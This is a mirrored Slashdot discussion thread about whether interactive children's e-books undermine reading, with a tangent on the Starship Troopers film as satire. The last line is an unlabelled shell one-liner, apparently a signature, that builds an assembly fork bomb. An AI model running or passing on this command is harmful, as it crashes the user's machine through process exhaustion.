Slashdot Mirror
Do Children's E-Books Ruin Reading?
An anonymous reader writes "A fierce argument has begun over whether children are actually 'reading' new e-books or simply 'watching' them. As publishers pump increasing levels of interactivity into e-books, the New York Times and others argue that these highly-interactive, popular titles are ruining the purpose of reading. The NYT also worries that new e-book titles could distract kids from the tougher task of actually concentrating on literature: '[W]hat will become of the readers we've been: quiet, thoughtful, patient, abstracted, in a world where interactive can be too tempting to ignore?' Others, like Gizmodo, defend these new e-books, pointing at titles like Alice for the iPad, of which they blabber, 'For the first time in my life, I'm blown away by an interactive book design.' But, the NYT counters, 'What I really love [about traditional books] is their inertness. No matter how I shake Alice's Adventures in Wonderland, mushrooms don't tumble out of the upper margin, unlike the Alice for the iPad.'"
Interactive books have been around for decades - books with sliding tabs, sound effects when you press little buttons - those kinds of things. So I don't think e-books along the lines of that Alice one are a problem at all
What we should be concerned about is interactivity replacing the text rather than augmenting it. That's when it's a problem
He's three months old.
Of course the TV's interesting, it's making full of sounds, colours and moving stuff.
Just buy (or make) him a Hanging Mobile.
Tools can be used badly. That's nothing new either. You can use a TV to watch amazing documentaries, or crappy reality TV and "talk" shows like Jerry Springer. Kids can use it to watch garbage, or educational programming.
Interactive books are no different. They can be inert. They can distract from reading, or they can aid the reading process. There are fundamental differences between paper books and ebooks but blaming the format for poor execution is just weak. Since they can be more complex it becomes harder to differentiate, but that's what you have to do as a consumer....and there's nothing like word of mouth in mothers groups and in the school yard to help in that area.
These posts express my own personal views, not those of my employer
Children + new technology = loss of childhood dreams
That's an interesting point.
Consider this, when you see an image of a character, you're seeing what someone else's imagination came up with on how it looks. For example, how many of you see a movie adaptation of a book only to have them cast an actor that looks nothing like you imagined it?
With picture books or multimedia or whatever, the authors are replacing the child's imagination with their own. The child may have something better or something they like more or...I don't know.
I think the picture books or any multimedia system is replacing a child's imagination - it's not active.
That's why books to movies usually suck: our imaginations are usually better than what Hollywood can come up with - Starship Troopers for one.
I'm not creative enough on how to explain it further.
RIP America
July 4, 1776 - September 11, 2001
Paul Verhoeven said "We always called action movies fascist, so we thought it would be interesting to make a real fascist movie" and that "the point of this movie is that war makes fascists of us all". He said he read part of the book but hated it. Still the society in the movie has the same rules as the society in the book. The fact that he portays that society as fascist means the movie is a satire of the book, and also of the American idea that war can be won without a moral cost for the victors. This last one is a key thing to Verhoeven - films like Black Book show how corrupting war can be, even for the most morally justified side.
Of course if you have a sense of humour and an ability to see the flaws in plans for utopian society whilst still being able to appreciate the good ideas you can enjoy both. Like Marx Heinlein gets in some good jabs at democratic societies, and like Marx the alternative he suggests would be a nightmare if implemented.
Still it's interesting that people that believe in Heinlein's blueprint for a society seem to always be viscerally hostile to the movie that satirizes them. That makes me think the movie's point that the society described in the book is fascist has some truth to it. It seems very unlikely that the society that Heinlein describes would allow a movie like Starship Troopers to be made.
Actually Starship Troopers the movie seems scarily prescient of the War On Terror.
"Some say that western incursions into the Middle East have provoked the muslims and a live and let live policy would be preferrable"
"I'M FROM NEW YORK AND I SAY KILL 'EM ALL!"
Of course, luckily we lived in a good old fashioned democracy with universal suffrage. And democracies are quite happy with films that poke fun at them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;